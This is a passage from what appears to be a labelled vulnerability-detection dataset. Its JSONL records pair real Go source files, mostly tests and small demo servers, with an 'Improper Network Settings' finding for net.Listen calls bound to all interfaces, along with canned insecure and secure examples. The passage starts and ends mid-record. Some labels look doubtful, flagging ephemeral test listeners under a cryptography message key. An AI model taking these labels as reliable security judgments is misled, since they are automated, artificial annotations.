&http.Request{},\n\t\t\t},\n\t\t\ttarget: \"\",\n\t\t\twantErr: `http long poll target option was empty string`,\n\t\t},\n\t\t\"whitespace target\": {\n\t\t\tt: &Transport{\n\t\t\t\tLongPollReq: &http.Request{},\n\t\t\t},\n\t\t\ttarget: \" \\t\\n\",\n\t\t\twantErr: `http long poll target option was empty string`,\n\t\t},\n\t\t\"nil transport\": {\n\t\t\twantErr: `http long poll target option can not set nil transport`,\n\t\t},\n\t}\n\tfor n, tc := range testCases {\n\t\tt.Run(n, func(t *testing.T) {\n\n\t\t\terr := tc.t.applyOptions(WithLongPollTarget(tc.target))\n\n\t\t\tif tc.wantErr != \"\" || err != nil {\n\t\t\t\tvar gotErr string\n\t\t\t\tif err != nil {\n\t\t\t\t\tgotErr = err.Error()\n\t\t\t\t}\n\t\t\t\tif diff := cmp.Diff(tc.wantErr, gotErr); diff != \"\" {\n\t\t\t\t\tt.Errorf(\"unexpected error (-want, +got) = %v\", diff)\n\t\t\t\t}\n\t\t\t\treturn\n\t\t\t}\n\n\t\t\tgot := tc.t\n\n\t\t\tif diff := cmp.Diff(tc.want, got,\n\t\t\t\tcmpopts.IgnoreUnexported(Transport{}), cmpopts.IgnoreUnexported(http.Request{})); diff != \"\" {\n\t\t\t\tt.Errorf(\"unexpected (-want, +got) = %v\", diff)\n\t\t\t}\n\t\t})\n\t}\n}", "dangerousExampleEn": "1. ln, err := net.Listen(\"tcp\", \"0.0.0.0:8080\")\nLine 1: This is insecure because all connection requests from all network interfaces are received.", "safeExampleEn": "1. ln, err := net.Listen(\"tcp\", \"localhost:8080\")\nLine 1: This is secure because only connection requests from a specific IP are received.", "contexts": [{"lineNo": 393, "eventType": "sink", "messageKey": "gochk.WEAK_CRYPTOGRAPHIC_NETWORK.GO.defect", "params": {}}]}} {"id": "a1197b32607e83d342018665e11641453e14d02eedeb8b4735d0e21d6d494ccc", "license": {"spdx": ["MIT"], "repo": "james-lawrence/bw", "path": "muxer/muxer_test.go", "repo_head_hexsha": "bcfe002c7ea4f0215f48e242b8d6c19a241e02e8", "stack_hexsha": "b29965be1d16e5ee645747e63f8926383467d19b", "match": "exact_blob"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Improper Network Settings", "issueDescriptionEn": "Using `0.0.0.0` as the IP address means receiving all connection requests from all network interfaces in the system. In general, it is recommended that servers only accept connections from specific network interfaces. If not, servers may accept a connection request from an unexpected network interface, allowing a hacker to attempt an attack.\nWhen configuring a server, ensure to specify a specific IP address rather than `0.0.0.0` to determine which connections are accepted by each network interface.", "issueLineNumber": 40, "entireCode": "package muxer_test\n\nimport (\n\t\"context\"\n\t\"net\"\n\t\"sync/atomic\"\n\n\t. \"github.com/onsi/ginkgo\"\n\t. \"github.com/onsi/ginkgo/extensions/table\"\n\t. \"github.com/onsi/gomega\"\n\t\"google.golang.org/protobuf/proto\"\n\n\t. \"github.com/james-lawrence/bw/muxer\"\n)\n\nvar _ = Describe(\"ParseURI\", func() {\n\tIt(\"should extract the procol name and address\", func() {\n\t\tproto, host, err := ParseURI(\"bw.agent://QmNMbFdN9s7R1PBr9VqZqVrsZzunwh61hD1vTR96AmohGX\")\n\t\tExpect(err).To(Succeed())\n\t\tExpect(string(proto)).To(Equal(\"bw.agent\"))\n\t\tExpect(host).To(Equal(\"QmNMbFdN9s7R1PBr9VqZqVrsZzunwh61hD1vTR96AmohGX\"))\n\t})\n})\n\nvar _ = Describe(\"Rebind\", func() {\n\tIt(\"should be able to rebind a protocol successfully\", func() {\n\t\tc1 := int64(0)\n\t\tc2 := int64(0)\n\t\tcounter := func(l net.Listener, c *int64) {\n\t\t\tfor {\n\t\t\t\t_, err := l.Accept()\n\t\t\t\tif err != nil {\n\t\t\t\t\treturn\n\t\t\t\t}\n\t\t\t\tatomic.AddInt64(c, 1)\n\t\t\t}\n\t\t}\n\n\t\tm := New()\n\t\tl, err := net.Listen(\"tcp\", \":0\")\n\t\tgo func() {\n\t\t\tListen(context.Background(), m, l)\n\t\t}()\n\t\tExpect(err).To(Succeed())\n\t\tdefer l.Close()\n\n\t\tl1, err := m.Rebind(\"proto\", l.Addr())\n\t\tExpect(err).To(Succeed())\n\t\tdefer l1.Close()\n\t\tgo counter(l1, &c1)\n\t\tl2, err := m.Rebind(\"proto\", l.Addr())\n\t\tExpect(err).To(Succeed())\n\t\tdefer l2.Close()\n\t\tgo counter(l2, &c2)\n\n\t\td1 := NewDialer(\"proto\", &net.Dialer{})\n\n\t\tfor i := 0; i < 10; i++ {\n\t\t\tconn, err := d1.DialContext(context.Background(), \"tcp\", l.Addr().String())\n\t\t\tExpect(err).To(Succeed())\n\t\t\tExpect(conn.Close()).To(Succeed())\n\t\t\tExpect(atomic.LoadInt64(&c1)).To(Equal(int64(0)))\n\t\t\tExpect(atomic.LoadInt64(&c2)).To(Equal(int64(i + 1)))\n\t\t}\n\t})\n})\n\nvar _ = Describe(\"Dial and accept\", func() {\n\tIt(\"should be able to multiplex\", func() {\n\t\tc1 := int64(0)\n\t\tc2 := int64(0)\n\t\tcounter := func(l net.Listener, c *int64) {\n\t\t\tfor {\n\t\t\t\t_, err := l.Accept()\n\t\t\t\tif err != nil {\n\t\t\t\t\treturn\n\t\t\t\t}\n\t\t\t\tatomic.AddInt64(c, 1)\n\t\t\t}\n\t\t}\n\n\t\tm := New()\n\t\tl, err := net.Listen(\"tcp\", \":0\")\n\t\tgo func() {\n\t\t\tListen(context.Background(), m, l)\n\t\t}()\n\t\tExpect(err).To(Succeed())\n\t\tdefer l.Close()\n\n\t\tl1, err := m.Bind(\"proto1\", l.Addr())\n\t\tExpect(err).To(Succeed())\n\t\tgo counter(l1, &c1)\n\t\tl2, err := m.Bind(\"proto2\", l.Addr())\n\t\tExpect(err).To(Succeed())\n\t\tgo counter(l2, &c2)\n\n\t\td1 := NewDialer(\"proto1\", &net.Dialer{})\n\n\t\tconn, err := d1.DialContext(context.Background(), \"tcp\", l.Addr().String())\n\t\tExpect(err).To(Succeed())\n\t\tExpect(conn.Close()).To(Succeed())\n\t\tExpect(atomic.LoadInt64(&c1)).To(Equal(int64(1)))\n\t\tExpect(atomic.LoadInt64(&c2)).To(Equal(int64(0)))\n\n\t\td2 := NewDialer(\"proto2\", &net.Dialer{})\n\n\t\tconn, err = d2.DialContext(context.Background(), \"tcp\", l.Addr().String())\n\t\tExpect(err).To(Succeed())\n\t\tExpect(conn.Close()).To(Succeed())\n\t\tExpect(atomic.LoadInt64(&c1)).To(Equal(int64(1)))\n\t\tExpect(atomic.LoadInt64(&c2)).To(Equal(int64(1)))\n\t})\n})\n\nvar _ = Describe(\"Accepted\", func() {\n\tDescribeTable(\"should encode to a fixed size (22)\", func(name string, code AcceptedError) {\n\t\tprotocol := Proto(name)\n\t\tencoded, err := proto.Marshal(&Accepted{\n\t\t\tVersion: 1,\n\t\t\tCode: code,\n\t\t\tProtocol: protocol[:],\n\t\t})\n\t\tExpect(err).To(Succeed())\n\t\tExpect(len(encoded)).To(Equal(22))\n\t},\n\t\tEntry(\"example 1 - default protocol\", \"\", Accepted_None),\n\t\tEntry(\"example 2 - long name\", \"45b3058c-9ec4-41cc-bd4c-c74ca2abdea2\", Accepted_None),\n\t\tEntry(\"example 3 - client error\", \"45b3058c-9ec4-41cc-bd4c-c74ca2abdea2\", Accepted_ClientError),\n\t\tEntry(\"example 4 - server error\", \"45b3058c-9ec4-41cc-bd4c-c74ca2abdea2\", Accepted_ServerError),\n\t)\n})\n\nvar _ = Describe(\"Requested\", func() {\n\tDescribeTable(\"should encode to a fixed size (20)\", func(name string) {\n\t\tprotocol := Proto(name)\n\t\tencoded, err := proto.Marshal(&Requested{\n\t\t\tVersion: 1,\n\t\t\tProtocol: protocol[:],\n\t\t})\n\t\tExpect(err).To(Succeed())\n\t\tExpect(len(encoded)).To(Equal(20))\n\t},\n\t\tEntry(\"example 1 - default protocol\", \"\"),\n\t\tEntry(\"example 2 - long name\", \"45b3058c-9ec4-41cc-bd4c-c74ca2abdea2\"),\n\t)\n})", "dangerousExampleEn": "1. ln, err := net.Listen(\"tcp\", \"0.0.0.0:8080\")\nLine 1: This is insecure because all connection requests from all network interfaces are received.", "safeExampleEn": "1. ln, err := net.Listen(\"tcp\", \"localhost:8080\")\nLine 1: This is secure because only connection requests from a specific IP are received.", "contexts": [{"lineNo": 40, "eventType": "sink", "messageKey": "gochk.WEAK_CRYPTOGRAPHIC_NETWORK.GO.defect", "params": {}}]}} {"id": "e82fa8d7703e9c9324dec86449035ffd709003cf8531127d2a3cff54737f6eb1", "license": {"spdx": ["MIT"], "repo": "projecteru2/agent", "path": "logs/writer_test.go", "repo_head_hexsha": "c2f18f71ba4041cabb1a68efd1bd8396311052bc", "stack_hexsha": "302b9d7416502768ecf1d5ab16836347d3922407", "match": "exact_blob"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Improper Network Settings", "issueDescriptionEn": "Using `0.0.0.0` as the IP address means receiving all connection requests from all network interfaces in the system. In general, it is recommended that servers only accept connections from specific network interfaces. If not, servers may accept a connection request from an unexpected network interface, allowing a hacker to attempt an attack.\nWhen configuring a server, ensure to specify a specific IP address rather than `0.0.0.0` to determine which connections are accepted by each network interface.", "issueLineNumber": 29, "entireCode": "package logs\n\nimport (\n\t\"context\"\n\t\"net\"\n\t\"testing\"\n\t\"time\"\n\n\t\"github.com/projecteru2/agent/types\"\n\n\t\"github.com/stretchr/testify/assert\"\n)\n\nfunc TestNewWriterWithUDP(t *testing.T) {\n\tctx, cancel := context.WithCancel(context.Background())\n\tdefer cancel()\n\t// udp writer\n\taddr := \"udp://127.0.0.1:23456\"\n\tw, err := NewWriter(ctx, addr, true)\n\tassert.NoError(t, err)\n\tassert.NoError(t, w.Write(&types.Log{}))\n}\n\nfunc TestNewWriterWithTCP(t *testing.T) {\n\tctx, cancel := context.WithCancel(context.Background())\n\tdefer cancel()\n\t// tcp writer\n\n\ttcpL, err := net.Listen(\"tcp\", \":34567\")\n\tdefer tcpL.Close()\n\taddr := \"tcp://127.0.0.1:34567\"\n\tw, err := NewWriter(ctx, addr, true)\n\tassert.NoError(t, err)\n\tassert.NoError(t, w.Write(&types.Log{}))\n}\n\nfunc TestNewWriterWithJournal(t *testing.T) {\n\tctx, cancel := context.WithCancel(context.Background())\n\tdefer cancel()\n\taddr := \"journal://system\"\n\tenc, err := CreateJournalEncoder()\n\tif err == errJournalDisabled {\n\t\treturn\n\t}\n\tassert.NoError(t, err)\n\tdefer enc.Close()\n\n\tw, err := NewWriter(ctx, addr, true)\n\tassert.NoError(t, err)\n\n\tw.enc = enc\n\terr = w.enc.Encode(&types.Log{\n\t\tID: \"id\",\n\t\tName: \"name\",\n\t\tType: \"type\",\n\t\tEntryPoint: \"entrypoint\",\n\t\tIdent: \"ident\",\n\t\tData: \"data\",\n\t\tDatetime: \"datetime\",\n\t\tExtra: map[string]string{\"a\": \"1\", \"b\": \"2\"},\n\t})\n\tassert.NoError(t, err)\n}\n\nfunc TestNewWriters(t *testing.T) {\n\tcases := map[string]error{\n\t\tDiscard: nil,\n\t\t\"udp://127.0.0.1:23456\": nil,\n\t\t\"tcp://127.0.0.1:34567\": nil,\n\t\t\"journal://system\": errJournalDisabled,\n\t\t\"invalid://hhh\": nil,\n\t}\n\ttcpL, err := net.Listen(\"tcp\", \":34567\")\n\tassert.NoError(t, err)\n\tdefer tcpL.Close()\n\n\tctx, cancel := context.WithCancel(context.Background())\n\tdefer cancel()\n\n\tfor addr, expectedErr := range cases {\n\t\tgo func(addr string, expectedErr error) {\n\t\t\twriter, err := NewWriter(ctx, addr, false)\n\t\t\tassert.Equal(t, err, expectedErr)\n\t\t\tif expectedErr != nil {\n\t\t\t\treturn\n\t\t\t}\n\t\t\tassert.NoError(t, err)\n\t\t\terr = writer.Write(&types.Log{})\n\t\t\tassert.NoError(t, err)\n\t\t}(addr, expectedErr)\n\t}\n\t// wait for closing all writers\n\ttime.Sleep(CloseWaitInterval + 2*time.Second)\n}\n\nfunc TestReconnect(t *testing.T) {\n\tctx, cancel := context.WithCancel(context.Background())\n\tdefer cancel()\n\n\taddr := \"tcp://127.0.0.1:34567\"\n\twriter, err := NewWriter(ctx, addr, false)\n\tassert.NoError(t, err)\n\tassert.Nil(t, writer.enc)\n\tassert.Equal(t, writer.needReconnect, true)\n\n\ttcpL, err := net.Listen(\"tcp\", \":34567\")\n\tassert.NoError(t, err)\n\tdefer tcpL.Close()\n\n\twriter.reconnect()\n\tassert.NoError(t, writer.Write(&types.Log{}))\n}", "dangerousExampleEn": "1. ln, err := net.Listen(\"tcp\", \"0.0.0.0:8080\")\nLine 1: This is insecure because all connection requests from all network interfaces are received.", "safeExampleEn": "1. ln, err := net.Listen(\"tcp\", \"localhost:8080\")\nLine 1: This is secure because only connection requests from a specific IP are received.", "contexts": [{"lineNo": 29, "eventType": "sink", "messageKey": "gochk.WEAK_CRYPTOGRAPHIC_NETWORK.GO.defect", "params": {}}]}} {"id": "0eeff63916395e886f89103203291e170f9ac54f3ba40ede26a8e621942d092e", "license": {"spdx": ["MIT"], "repo": "klahssen/gopg", "path": "rungroups/server/main.go", "repo_head_hexsha": "de150af8d8d7a015c176e26f239ddb8bf9d02e7a", "stack_hexsha": "25fa84eac56a5167ff81ca6c64300f80f35c2580", "match": "exact_blob"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Improper Network Settings", "issueDescriptionEn": "Using `0.0.0.0` as the IP address means receiving all connection requests from all network interfaces in the system. In general, it is recommended that servers only accept connections from specific network interfaces. If not, servers may accept a connection request from an unexpected network interface, allowing a hacker to attempt an attack.\nWhen configuring a server, ensure to specify a specific IP address rather than `0.0.0.0` to determine which connections are accepted by each network interface.", "issueLineNumber": 16, "entireCode": "package main\n\nimport (\n\t\"context\"\n\t\"fmt\"\n\t\"net\"\n\t\"net/http\"\n\t\"time\"\n\n\t\"github.com/oklog/run\"\n)\n\nfunc main() {\n\tvar g run.Group\n\t{\n\t\tln, _ := net.Listen(\"tcp\", \":0\")\n\t\tg.Add(func() error {\n\t\t\tdefer fmt.Printf(\"http.Serve returned\\n\")\n\t\t\treturn http.Serve(ln, http.NewServeMux())\n\t\t}, func(error) {\n\t\t\tln.Close()\n\t\t})\n\t}\n\t{\n\t\tdur := time.Millisecond * 500\n\t\tctx, cancel := context.WithTimeout(context.Background(), dur)\n\t\tg.Add(func() error {\n\t\t\tfmt.Printf(\"started timer of %s\", dur)\n\t\t\t<-ctx.Done()\n\t\t\treturn ctx.Err()\n\t\t}, func(error) {\n\t\t\tcancel()\n\t\t})\n\t}\n\tfmt.Printf(\"The group was terminated with: %v\\n\", g.Run())\n}", "dangerousExampleEn": "1. ln, err := net.Listen(\"tcp\", \"0.0.0.0:8080\")\nLine 1: This is insecure because all connection requests from all network interfaces are received.", "safeExampleEn": "1. ln, err := net.Listen(\"tcp\", \"localhost:8080\")\nLine 1: This is secure because only connection requests from a specific IP are received.", "contexts": [{"lineNo": 16, "eventType": "sink", "messageKey": "gochk.WEAK_CRYPTOGRAPHIC_NETWORK.GO.defect", "params": {}}]}} {"id": "23f99faf5102a0fa53331ef8199fc2c8ff377eab0dc8884c9ea474c9bd29eaf6", "license": {"spdx": ["MIT"], "repo": "ConorCrokeGenesys/platform-client-sdk-common", "path": "resources/sdk/purecloudgo/extensions/retry_test.go", "repo_head_hexsha": "a94c6f13885dc857efaf10252a6f755c1c9b458e", "stack_hexsha": "d32213532f9238bb465ad8d59f4b32d4e0b0375a", "match": "exact_blob"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Improper Network Settings", "issueDescriptionEn": "Using `0.0.0.0` as the IP address means receiving all connection requests from all network interfaces in the system. In general, it is recommended that servers only accept connections from specific network interfaces. If not, servers may accept a connection request from an unexpected network interface, allowing a hacker to attempt an attack.\nWhen configuring a server, ensure to specify a specific IP address rather than `0.0.0.0` to determine which connections are accepted by each network interface.", "issueLineNumber": 86, "entireCode": "package platformclientv2\n\nimport (\n\t\"bytes\"\n\t\"net\"\n\t\"net/http\"\n\t\"sync/atomic\"\n\t\"testing\"\n\t\"time\"\n\n\t\"github.com/hashicorp/go-retryablehttp\"\n)\n\nfunc TestClientRetry(t *testing.T) {\n\ttestRetryErrorCode(t, http.StatusTooManyRequests)\n\n\t// retryablehttp retries all 500 codes except for 501, we'll test the first 10 for brevity\n\tfor code := http.StatusInternalServerError; code <= http.StatusNotExtended; code++ {\n\t\tif code == http.StatusNotImplemented {\n\t\t\tcontinue\n\t\t}\n\t\ttestRetryErrorCode(t, code)\n\t}\n}\n\nfunc TestClientDoNotRetry(t *testing.T) {\n\ttestDoNotRetryErrorCode(t, http.StatusTooManyRequests)\n\n\t// retryablehttp retries all 500 codes except for 501, we'll test the first 10 for brevity\n\tfor code := http.StatusInternalServerError; code <= http.StatusNotExtended; code++ {\n\t\tif code == http.StatusNotImplemented {\n\t\t\tcontinue\n\t\t}\n\t\ttestDoNotRetryErrorCode(t, code)\n\t}\n}\n\nfunc testRetryErrorCode(t *testing.T, errorCode int) {\n\t// Test implementation adapted from https://github.com/hashicorp/go-retryablehttp/blob/master/client_test.go\n\t// Track the number of times the logging hook was called\n\tretryCount := -1\n\thook := func(logger retryablehttp.Logger, req *http.Request, retryNumber int) {\n\t\tretryCount = retryNumber\n\t}\n\n\tAPIClient := NewAPIClient(&Configuration{})\n\tAPIClient.client.RetryWaitMin = 10 * time.Millisecond\n\tAPIClient.client.RetryWaitMax = 50 * time.Millisecond\n\tAPIClient.client.RetryMax = 50\n\tAPIClient.client.RequestLogHook = hook\n\n\t// Create a request\n\ttestBytes := []byte(\"hello\")\n\treq, err := retryablehttp.NewRequest(\"GET\", \"http://127.0.0.1:28934/v1/foo\", bytes.NewReader(testBytes))\n\tif err != nil {\n\t\tt.Fatalf(\"err: %v\", err)\n\t}\n\t// Send the request\n\tvar resp *http.Response\n\tdoneCh := make(chan struct{})\n\tgo func() {\n\t\tdefer close(doneCh)\n\t\tvar err error\n\t\tresp, err = APIClient.client.Do(req)\n\t\tif err != nil {\n\t\t\tt.Fatalf(\"err: %v\", err)\n\t\t}\n\t}()\n\n\tselect {\n\tcase <-doneCh:\n\t\tt.Fatalf(\"should retry on error\")\n\tcase <-time.After(200 * time.Millisecond):\n\t\t// Client should still be retrying due to connection failure.\n\t}\n\n\t// Create the mock handler. First we return error responses to ensure\n\t// that we power through and keep retrying in the face of recoverable\n\t// errors.\n\tcode := int64(errorCode)\n\thandler := http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {\n\t\tw.WriteHeader(int(atomic.LoadInt64(&code)))\n\t})\n\n\t// Create a test server\n\tlist, err := net.Listen(\"tcp\", \":28934\")\n\tif err != nil {\n\t\tt.Fatalf(\"err: %v\", err)\n\t}\n\tdefer list.Close()\n\tgo http.Serve(list, handler)\n\n\t// Wait again\n\tselect {\n\tcase <-doneCh:\n\t\tt.Fatalf(\"should retry on error codes\")\n\tcase <-time.After(200 * time.Millisecond):\n\t\t// Client should still be retrying due to error codes.\n\t}\n\n\t// Start returning 200's\n\tatomic.StoreInt64(&code, http.StatusOK)\n\n\t// Wait again\n\tselect {\n\tcase <-doneCh:\n\tcase <-time.After(time.Second):\n\t\tt.Fatalf(\"timed out\")\n\t}\n\n\tif resp.StatusCode != http.StatusOK {\n\t\tt.Fatalf(\"exected %v, got: %d\", http.StatusOK, resp.StatusCode)\n\t}\n\n\tif retryCount < 0 {\n\t\tt.Fatal(\"request log hook was not called\")\n\t}\n}\n\nfunc testDoNotRetryErrorCode(t *testing.T, errorCode int) {\n\t// Test implementation adapted from https://github.com/hashicorp/go-retryablehttp/blob/master/client_test.go\n\t// Track the number of times the logging hook was called\n\tretryCount := -1\n\thook := func(logger retryablehttp.Logger, req *http.Request, retryNumber int) {\n\t\tretryCount = retryNumber\n\t}\n\n\tAPIClient := NewAPIClient(&Configuration{})\n\tAPIClient.client.RetryWaitMax = 0\n\tAPIClient.client.RetryMax = 0\n\tAPIClient.client.RequestLogHook = hook\n\n\t// Create a request\n\ttestBytes := []byte(\"hello\")\n\treq, _ := retryablehttp.NewRequest(\"GET\", \"http://127.0.0.1:28934/v1/foo\", bytes.NewReader(testBytes))\n\t// Send the request\n\tdoneCh := make(chan struct{})\n\tgo func() {\n\t\tdefer close(doneCh)\n\t\tvar err error\n\t\t_, err = APIClient.client.Do(req)\n\t\tif err == nil {\n\t\t\tt.Fatalf(\"expected error response\")\n\t\t}\n\t}()\n\n\tselect {\n\tcase <-doneCh:\n\t\t//no-op\n\tcase <-time.After(200 * time.Millisecond):\n\t\tt.Fatalf(\"should not retry on error\")\n\t}\n\n\t// Create the mock handler. First we return error responses to ensure\n\t// that we power through and keep retrying in the face of recoverable\n\t// errors.\n\tcode := int64(errorCode)\n\thandler := http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {\n\t\tw.WriteHeader(int(atomic.LoadInt64(&code)))\n\t})\n\n\t// Create a test server\n\tlist, err := net.Listen(\"tcp\", \":28934\")\n\tif err != nil {\n\t\tt.Fatalf(\"err: %v\", err)\n\t}\n\tdefer list.Close()\n\tgo http.Serve(list, handler)\n\n\t// Wait again\n\tselect {\n\tcase <-doneCh:\n\t\t//no-op\n\tcase <-time.After(200 * time.Millisecond):\n\t\tt.Fatalf(\"should not retry on error\")\n\t}\n\n\t// Start returning 200's\n\tatomic.StoreInt64(&code, http.StatusOK)\n\n\t// Wait again\n\tselect {\n\tcase <-doneCh:\n\tcase <-time.After(time.Second):\n\t\tt.Fatalf(\"timed out\")\n\t}\n\n\tif retryCount > 0 {\n\t\tt.Fatal(\"request log hook should not have been called\")\n\t}\n}", "dangerousExampleEn": "1. ln, err := net.Listen(\"tcp\", \"0.0.0.0:8080\")\nLine 1: This is insecure because all connection requests from all network interfaces are received.", "safeExampleEn": "1. ln, err := net.Listen(\"tcp\", \"localhost:8080\")\nLine 1: This is secure because only connection requests from a specific IP are received.", "contexts": [{"lineNo": 86, "eventType": "sink", "messageKey": "gochk.WEAK_CRYPTOGRAPHIC_NETWORK.GO.defect", "params": {}}]}} {"id": "cb70736cb31d79e46f5ace6afec553ca3a12445b26c5c48e899d839d840c1f8c", "license": {"spdx": ["MIT"], "repo": "MickiFoerster/protobuf", "path": "hello_world/main.go", "repo_head_hexsha": "01514838903d7db6079df26f897f92149db1daea", "stack_hexsha": "34c81f0f2176f0ca1cf658097bc1aa777df2d080", "match": "exact_blob"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Improper Network Settings", "issueDescriptionEn": "Using `0.0.0.0` as the IP address means receiving all connection requests from all network interfaces in the system. In general, it is recommended that servers only accept connections from specific network interfaces. If not, servers may accept a connection request from an unexpected network interface, allowing a hacker to attempt an attack.\nWhen configuring a server, ensure to specify a specific IP address rather than `0.0.0.0` to determine which connections are accepted by each network interface.", "issueLineNumber": 23, "entireCode": "package main\n\nimport (\n\t\"fmt\"\n\t\"log\"\n\t\"net\"\n\t\"time\"\n\n\thelloworldpb \"github.com/MickiFoerster/protobuf/hello_world/protoc-helloworld\"\n\tproto \"github.com/golang/protobuf/proto\"\n)\n\nfunc main() {\n\tfmt.Println(\"proto buf hello world\")\n\tgo client()\n\tserver_done := server()\n\t<-server_done\n}\n\nfunc server() chan struct{} {\n\tch := make(chan struct{})\n\tgo func() {\n\t\tlistener, err := net.Listen(\"tcp\", \":12345\")\n\t\tif err != nil {\n\t\t\tlog.Fatalf(\"error: Could not create passive socket: %v\\n\", err)\n\t\t}\n\t\tdefer listener.Close()\n\t\tfmt.Println(\"servers listens on \", listener.Addr())\n\t\tfor {\n\t\t\tconn, err := listener.Accept()\n\t\t\tif err != nil {\n\t\t\t\tlog.Println(\"error: could not accept client connection: %v\\n\", err)\n\t\t\t}\n\t\t\tgo handleConnection(conn)\n\t\t}\n\t\tch <- struct{}{}\n\t}()\n\treturn ch\n}\n\nfunc handleConnection(conn net.Conn) {\n\tlog.Println(\"Received client connection:\")\n\tlog.Printf(\"local address: %v\\n\", conn.LocalAddr())\n\tlog.Printf(\"remote address: %v\\n\", conn.RemoteAddr())\n\n\tbuf := make([]byte, 4096)\n\tn, err := conn.Read(buf)\n\tif err != nil {\n\t\tlog.Fatalf(\"error: could not read from connection: %v\\n\", err)\n\t}\n\tlog.Println(n, \"bytes have been read from connection\")\n\n\tmsg := &helloworldpb.HelloWorld{}\n\terr = proto.Unmarshal(buf[:n], msg)\n\tif err != nil {\n\t\tlog.Println(\"unmarshal() data failed\")\n\t}\n\tlog.Println(\"unmarshaling succeeded\")\n\tfmt.Println(msg.GetId())\n\tfmt.Println(msg.GetMessage())\n\tfor _, i := range msg.GetRandomNumber() {\n\t\tfmt.Print(i, \" \")\n\t}\n\tfmt.Println()\n\n\tlog.Printf(\"closing connection ... \")\n\terr = conn.Close()\n\tif err != nil {\n\t\tlog.Printf(\"error: could not close connection: %v\\n\", err)\n\t}\n\tlog.Println(\"done\")\n}\n\nfunc client() {\n\tvar id int32 = 23\n\tnumbers := []int32{2, 3, 5, 7, 11, 13, 17, 19}\n\tfor {\n\t\tmsg := &helloworldpb.HelloWorld{\n\t\t\tId: id,\n\t\t\tMessage: \"Primzahlen\",\n\t\t\tRandomNumber: numbers,\n\t\t}\n\t\tfmt.Println(\"client:\", msg)\n\t\ttime.Sleep(time.Second)\n\t\tconn, err := net.Dial(\"tcp\", \"localhost:12345\")\n\t\tif err != nil {\n\t\t\tlog.Fatalf(\"error: could not create client connection: %v\\n\", err)\n\t\t}\n\t\tlog.Println(\"client connection established\")\n\n\t\tdata, err := proto.Marshal(msg)\n\t\tif err != nil {\n\t\t\tlog.Fatalf(\"error: could not serialize message: %v\\n\", err)\n\t\t}\n\t\tlog.Println(\"protobuf message has been marshalled\")\n\n\t\tn, err := conn.Write(data)\n\t\tif err != nil {\n\t\t\tlog.Fatalf(\"error: could not write message to connection\", err)\n\t\t}\n\t\tlog.Println(n, \"bytes have been written. Now close the connection.\")\n\t\tconn.Close()\n\t\tid = (id * 1333) % 1335\n\t}\n}", "dangerousExampleEn": "1. ln, err := net.Listen(\"tcp\", \"0.0.0.0:8080\")\nLine 1: This is insecure because all connection requests from all network interfaces are received.", "safeExampleEn": "1. ln, err := net.Listen(\"tcp\", \"localhost:8080\")\nLine 1: This is secure because only connection requests from a specific IP are received.", "contexts": [{"lineNo": 23, "eventType": "sink", "messageKey": "gochk.WEAK_CRYPTOGRAPHIC_NETWORK.GO.defect", "params": {}}]}} {"id": "06ff274aab9e3a9bd942961f97a5240b1bc42c12cc4ef6fdc23478484fec4b0f", "license": {"spdx": ["Apache-2.0"], "repo": "LogMeIn/prometheus-storage-adapter", "path": "backend/writer_test.go", "repo_head_hexsha": "102ede1ac8c5dede5bcabeb12562a9dd956fd106", "stack_hexsha": "ad3d09fa64c6f6ba4b994b5a3ac1379399148577", "match": "exact_blob"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Improper Network Settings", "issueDescriptionEn": "Using `0.0.0.0` as the IP address means receiving all connection requests from all network interfaces in the system. In general, it is recommended that servers only accept connections from specific network interfaces. If not, servers may accept a connection request from an unexpected network interface, allowing a hacker to attempt an attack.\nWhen configuring a server, ensure to specify a specific IP address rather than `0.0.0.0` to determine which connections are accepted by each network interface.", "issueLineNumber": 70, "entireCode": "package backend\n\nimport (\n\t\"bufio\"\n\t\"bytes\"\n\t\"net\"\n\t\"testing\"\n\t\"time\"\n\n\t\"github.com/prometheus/prometheus/prompb\"\n)\n\nfunc TestWrite(t *testing.T) {\n\tm := metricPoint{\n\t\tMetric: \"decontribulator.temperature\",\n\t\tSource: \"main decontribulator\",\n\t\tValue: 42,\n\t\tTags: map[string]string{\"carbendingulator\": \"S-1103347P1\"},\n\t}\n\tw := MetricWriter{\n\t\tprefix: \"xyz\",\n\t}\n\tvar buf bytes.Buffer\n\tbw := bufio.NewWriter(&buf)\n\tif err := w.writeMetricPoint(bw, &m); err != nil {\n\t\tt.Errorf(\"Error while writing metrics: %s\", err)\n\t}\n\tbw.Flush()\n\tif buf.String() != \"decontribulator.temperature 42.000000 0 source=\\\"main decontribulator\\\" carbendingulator=\\\"S-1103347P1\\\"\\n\" {\n\t\tt.Errorf(\"Resulting string was: %s\", buf.String())\n\t}\n}\n\nfunc TestSanitizeName(t *testing.T) {\n\ts := \"ABCDEFGHIJKLMNOPQRSTUVXYZabcdefghijklmnopqrstuvxyz-\"\n\tif ss := sanitizeName(s); ss != s {\n\t\tt.Errorf(\"Resulting string was: %s\", s)\n\t}\n\n\ts = \"this-IS-a-ReAlLy-COMPLEX-name-that-SHOULD-be-LEFT-unTOUCHED\"\n\tif ss := sanitizeName(s); ss != s {\n\t\tt.Errorf(\"Resulting string was: %s\", s)\n\t}\n\n\ts = sanitizeName(\" this has a_leading*illegal(char\")\n\tif \"-this-has-a.leading-illegal-char\" != s {\n\t\tt.Errorf(\"Resulting string was: %s\", s)\n\t}\n\n\ts = sanitizeName(\"this has a_trailing*illegal(char=\")\n\tif \"this-has-a.trailing-illegal-char-\" != s {\n\t\tt.Errorf(\"Resulting string was: %s\", s)\n\t}\n\n\ts = sanitizeName(\"underscores_should_be_turned_into_periods\")\n\tif \"underscores.should.be.turned.into.periods\" != s {\n\t\tt.Errorf(\"Resulting string was: %s\", s)\n\t}\n\n\ts = sanitizeName(\"Some Chinese: 波前的岩石\")\n\tif \"Some-Chinese-------\" != s {\n\t\tt.Errorf(\"Resulting string was: %s\", s)\n\t}\n}\n\nfunc TestFull(t *testing.T) {\n\tresponse := make(chan (string))\n\t// Spin up a minimal listener to simulate a proxy\n\tgo func() {\n\t\tln, err := net.Listen(\"tcp\", \":4711\")\n\t\tif err != nil 